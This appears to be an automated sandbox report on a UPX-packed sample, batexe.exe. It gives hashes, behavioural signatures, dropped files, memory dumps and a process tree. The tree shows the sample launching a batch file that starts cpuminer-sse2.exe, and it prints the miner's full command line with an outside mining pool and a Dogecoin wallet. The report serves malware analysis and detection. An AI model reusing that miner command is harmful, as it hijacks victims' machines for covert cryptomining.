73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 07:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3108	b2e.exe
4844	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4844	cpuminer-sse2.exe
4844	cpuminer-sse2.exe
4844	cpuminer-sse2.exe
4844	cpuminer-sse2.exe
4844	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1016-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 3108	1016	batexe.exe	73
PID 1016 wrote to memory of 3108	1016	batexe.exe	73
PID 1016 wrote to memory of 3108	1016	batexe.exe	73
PID 3108 wrote to memory of 4008	3108	b2e.exe	74
PID 3108 wrote to memory of 4008	3108	b2e.exe	74
PID 3108 wrote to memory of 4008	3108	b2e.exe	74
PID 4008 wrote to memory of 4844	4008	cmd.exe	77
PID 4008 wrote to memory of 4844	4008	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Users\Admin\AppData\Local\Temp\9422.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9422.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9422.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\97FA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9422.tmp\b2e.exe

Filesize
1.2MB

MD5
1a4168b36d9208fe60c8a5f13973047a

SHA1
857aa3c5a3693a17d86b1538bb48595ebddded15

SHA256
0f8679966f82d9e654ebe8c9e12e5f287fe7f7dc1278e12f3a56e83142f121bb

SHA512
33205588386b41fd9be8f535d1e878c5c31d4e10095f15dd776016e39e192af219c15814ea5e6ea8c827c6ded369825f9fc2735484db4a72f0833bdae5cb925d

Download Submit
C:\Users\Admin\AppData\Local\Temp\9422.tmp\b2e.exe

Filesize
1.5MB

MD5
4dbb3875d20e9ee42958aa1932ebdc02

SHA1
9b87fa838e51626f8b6e49c3000524510d2cb15a

SHA256
ba71e268c39da38a37f4aad72168a7ec8366de09acdc4c697d175ec81e7ee960

SHA512
139a35bd4b6c90ceb0df8396a69c1dd8fa7664da0b28282a8edae74de245755f31c822433859c7e0bfe388aa1eb29109be5f49a3519d981f81efd7e52d978671

Download Submit
C:\Users\Admin\AppData\Local\Temp\97FA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
fdce5ef1e72d32f5cf52abde5d675e23

SHA1
72ce4689cd894482ca82ca4889b5b33e036fc5c2

SHA256
03c0fa61c1a4671898bff13f6cc92df9f0a0ee0872638ab87d11b3121447bad7

SHA512
ed7652e97886fd658727c97471460caccebce3f7ab204db93ec7d6be214d177c7d8e768acb96ce277fe5dcfedf4dd223e3cae792902729b24b1ed719509a1b66

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
5497e622fd648d8367807c84832ff509

SHA1
27c3a0acaf4f37bea600f72ff6f0737c81c7a512

SHA256
d47a636e66028da805bbd0f2475823e9741334b9ab899492e4fc9a58a4d1255a

SHA512
0d38648af8bdb17a1e4dd8bdab20a5ed373028c39d9799bfe9d0297c43f276fd1b897a4fa7f3e246aad9a847fc0e4651d347c02742da4c5837929e5a693af939

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
e175338cf0d6db8d2934ee72e1cb7b07

SHA1
08dbaec5a5ea05b18606012b2afc695334d85b50

SHA256
61ab1330c8b64cb722b443a98c215e38e0a8dec0407614897a0965d989c881b5

SHA512
0c4863328a5c4b3b2498ae812d3546e03edcf267ba658549b258b132dbec9d27c7156ae9dfc9a6e4f2094ba11f6eb5f8524f3d8cb10ce511576198cedfa3e6fc

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.0MB

MD5
598a77d5405978c0414fcafd9ac31428

SHA1
789a7e140489358c3cd43a5bb8febd48c263e05a

SHA256
0e2516f875a0d66fff314e6af0ee239c6394897b9817ed2bc85e0f82cd18b3fb

SHA512
caf89fdf394a08cfe821283a741ee5c12c8197eec40aa1f33394f9c5a45d4d64a222be3397181c30a0c7bf592c925a11e6900473eb6400c6fb4b37b529b14a76

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
786KB

MD5
9c48b48251816c1cf803602a9e9062e7

SHA1
2fbff795411bcbe450e7947fe6ef208f7cdd778b

SHA256
57bd19b9b7cc76b26fdad4481f7a7c7b81708d7baecf1e377462e48a5f316017

SHA512
4215f73226021f97c983da92b5778af1ee106fe18a52651b2c28ec38061048efb0c3bf4a29cd62b88d62cc7af269ab3f0f3d8c7afbc6031100131cbd2b753fe6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
682KB

MD5
31742133fb8fb336a0d99624e5295e03

SHA1
70e9e918a612d2a21812a97faeeedc2e8877f499

SHA256
f1a60bacf43b58e30eb202f9a8d0f36b315121d29ad56ad96656de82364eed72

SHA512
175cd679efc4566937e69f26f09b66d4ac8f949c0e50ae5a7d366d0bf6730dad9402c1f78e1bafd007e90ba7ca775a04a1396bb1122b60ab2cff92cb42f63ac1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1016-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3108-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3108-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4844-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4844-44-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/4844-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-43-0x000000006B1A0000-0x000000006B238000-memory.dmp

Filesize
608KB

Download
memory/4844-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4844-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download